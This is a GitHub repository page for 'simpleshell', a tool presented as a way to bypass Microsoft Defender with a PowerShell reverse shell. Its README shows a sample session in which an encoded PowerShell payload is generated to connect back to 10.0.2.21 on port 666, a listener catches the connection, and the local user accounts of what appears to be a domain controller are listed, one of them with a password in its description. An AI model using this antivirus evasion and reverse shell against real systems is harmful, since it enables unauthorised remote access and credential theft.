Skip to content

Here is a simple way to bypass Microsoft Defender with a powershell reverse shell and a simple interface to interact with the remote system.

Notifications You must be signed in to change notification settings

ultros/simpleshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

$> .payload

IP Address to connect back to (server): 10.0.2.21
Port to connect back to: 666
powershell -e JABjAGwAaQBl ...
[+] Encoded powershell script generated

$> .listen

[+] Connection received!

$> get-localuser

Name Enabled Description
Administrator True Built-in account for administering the computer/domain
Guest False Built-in account for guest access to the computer/domain krbtgt False Key Distribution Center Service Account
john True
anne True
test True
testuser2 True password: test
DC$ True

About

Here is a simple way to bypass Microsoft Defender with a powershell reverse shell and a simple interface to interact with the remote system.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages